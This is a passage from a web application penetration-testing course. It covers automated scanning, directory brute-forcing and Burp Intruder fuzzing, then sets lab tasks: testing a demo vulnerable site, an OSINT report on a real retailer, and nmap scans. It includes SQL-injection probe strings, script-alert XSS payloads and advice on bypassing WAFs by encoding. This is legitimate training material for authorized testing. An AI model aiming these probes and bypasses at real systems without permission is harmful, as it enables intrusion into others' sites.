Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore.
2232
 
2233
 
2234
Also, be sure to save the scan results and logs. I usually provide this data to the customer.
2235
 
2236
 
2237
 
2238
Step 1b: Directory Brute Forcer
2239
-------------------------------
2240
I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc).
2241
 
2242
 
2243
 
2244
Step 2: Manual Testing
2245
 
2246
Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic).
2247
 
2248
Step 2a: Spider/Scan the entire site with Burp Suite
2249
Save the spider and scan results. I usually provide this data to the customer as well.
2250
 
2251
 
2252
Step 2b: Browse through the site using the 3 question method
2253
Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'.
2254
 
2255
Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value.
2256
 
2257
Here is what I mean:
2258
http://www.site.com/page.aspx?parametername=parametervalue
2259
 
2260
When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this:
2261
 
2262
http://www.site.com/page.aspx?parametername=[ payload ]
2263
 
2264
You need to ensure that you send the payload this way, and like this below:
2265
 
2266
http://www.site.com/page.aspx?parametername=parametervalue[ payload ]
2267
 
2268
This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them.
2269
 
2270
 
2271
 
2272
 
2273
 
2274
 
2275
 
2276
###########################################
2277
# Question 2: How much fuzzing is enough? #
2278
###########################################
2279
There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something else.
2280
 
2281
Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.
2282
 
2283
 
2284
Step 1: Ask yourself the 3 questions per page of the site.
2285
 
2286
Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)
2287
 
2288
Step 3: When you load your fuzz strings - use the following decision tree
2289
 
2290
    - Are the fuzz strings causing a default error message (example 404)?
2291
        - If this is the case then it is most likely NOT vulnerable
2292
 
2293
    - Are the fuzz strings causing a WAF or LB custom error message?
2294
        - If this is the case then you need to find an encoding method to bypass
2295
 
2296
 
2297
    - Are the fuzz strings causing an error message that discloses the backend type?
2298
        - If yes, then identify DB type and find correct syntax to successfully exploit
2299
        - Some example strings that I use are:
2300
            '
2301
            "
2302
            ()          <----- Take the parameter value and put it in parenthesis
2303
            (5-1)       <----- See if you can perform an arithmetic function
2304
 
2305
 
2306
    - Are the fuzz strings rendering executable code?
2307
        - If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
2308
        - Some example strings that I use are:
2309
            <b>hello</b>
2310
            <u>hello</u>
2311
            <script>alert(123);</script>
2312
            <script>alert(xss);</script>
2313
            <script>alert('xss');</script>
2314
            <script>alert("xss");</script>
2315
2316
2317
2318
2319
2320
************************ Class Challenge ************************
2321
 
2322
Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
2323
 
2324
Here are some sample web app penetration test reports from other companies that you can look at:
2325
https://s3.amazonaws.com/infosecaddicts-Files/WebAppSampleReports.zip
2326
 
2327
I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
2328
2329
2330
2331
2332
2333
#########
2334
# Day 5 #
2335
#########
2336
2337
Today you finally get the chance to take a step into the world of penetration testing.
2338
2339
2340
Day 5 Task 1
2341
We'll start by having your do a job interview for the position of junior penetration tester. Here are the questions:
2342
https://goo.gl/forms/l2cMNg1F50kLQsHG2
2343
2344
2345
2346
Day 5 Task 2
2347
Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible. 
2348
You'll each be given access to the Googele Drive where all of the resources to complete this task are located.
2349
2350
2351
2352
2353
Day 5 Task 3
2354
Use nmap to map the target network (10.0.0.0/24). 
2355
2356
Task 3a) Identify the number of reachable hosts.
2357
2358
Task 3b) Identify the number of open ports per hosts.
2359
2360
Task 3c) Identify the software versions of each application running on each exposed port on each host in the environment.
2361
2362
Task 3d) Identify the vulnerable services on each host in the target network along with their exploit-db.com ID number
2363
2364
Task 3e) Put all of this information into a spreadsheet in the Google Drive folder
2365
2366
2367
2368
2369
Day 5 Task 4
2370
Use DirBuster to go afer at least 3 servers in the target network (10.0.0.0/24). 
2371
2372
Reference:
2373
http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php
2374
2375
2376
2377
2378
Day 5 Task 5
2379
Populate the findings spreadsheet with as much detail as possible